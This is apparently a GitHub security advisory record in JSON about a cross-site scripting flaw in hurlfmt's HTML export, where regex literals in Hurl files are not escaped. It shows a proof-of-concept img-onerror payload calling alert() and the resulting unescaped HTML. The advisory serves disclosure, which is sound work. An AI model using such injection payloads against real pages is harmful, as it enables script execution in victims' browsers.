{"id":"GHSA-v33j-v3x4-42qg","summary":"Regex literal in Hurl files are not escaped when exported to HTML, allowing injections","details":"Given this Hurl file:\n\nregex.hurl:\n\n```\nGET https://foo.com\nHTTP 200\n[Asserts]\njsonpath \"$.body\" matches /\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/\n```\n\nWhen exported to HTML:\n\n```\n$ hurlfmt --out html regex.hurl\n\u003cpre\u003e\u003ccode class=\"language-hurl\"\u003e\u003cspan class=\"hurl-entry\"\u003e\u003cspan class=\"request\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"method\"\u003eGET\u003c/span\u003e \u003cspan class=\"url\"\u003ehttps://foo.com\u003c/span\u003e\u003c/span\u003e\n\u003c/span\u003e\u003cspan class=\"response\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"version\"\u003eHTTP\u003c/span\u003e \u003cspan class=\"number\"\u003e200\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\"line\"\u003e\u003cspan class=\"section-header\"\u003e[Asserts]\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\"line\"\u003e\u003cspan class=\"query-type\"\u003ejsonpath\u003c/span\u003e \u003cspan class=\"string\"\u003e\"$.body\"\u003c/span\u003e \u003cspan class=\"predicate-type\"\u003ematches\u003c/span\u003e \u003cspan class=\"regex\"\u003e/\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/\u003c/span\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\n```\n\nThe regex literal `/\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/` is not escaped:\n\n`\u003cspan class=\"regex\"\u003e/\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/\u003c/span\u003e\u003c/span\u003e`\n\nWhen opened in a browser, the code is run without user interaction:\n\n![regex](https://github.com/user-attachments/assets/9c20a2ff-900f-4420-b38b-1e7648749119)","modified":"2025-06-11T14:46:37Z","published":"2025-06-11T14:46:37Z","database_specific":{"nvd_published_at":null,"cwe_ids":[],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2025-06-11T14:46:37Z"},"references":[{"type":"WEB","url":"https://github.com/Orange-OpenSource/hurl/security/advisories/GHSA-v33j-v3x4-42qg"},{"type":"WEB","url":"https://github.com/Orange-OpenSource/hurl/commit/248ac41cfa1797c52241c6ef756490d90027cdf2"},{"type":"WEB","url":"https://github.com/Orange-OpenSource/hurl/commit/7dcdbd1796785392b1e829d1f07c6687b9a8f27d"},{"type":"PACKAGE","url":"https://github.com/Orange-OpenSource/hurl"}],"affected":[{"package":{"name":"hurl","ecosystem":"crates.io","purl":"pkg:cargo/hurl"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.0.0"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 6.1.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/06/GHSA-v33j-v3x4-42qg/GHSA-v33j-v3x4-42qg.json"}}],"schema_version":"1.9.0"}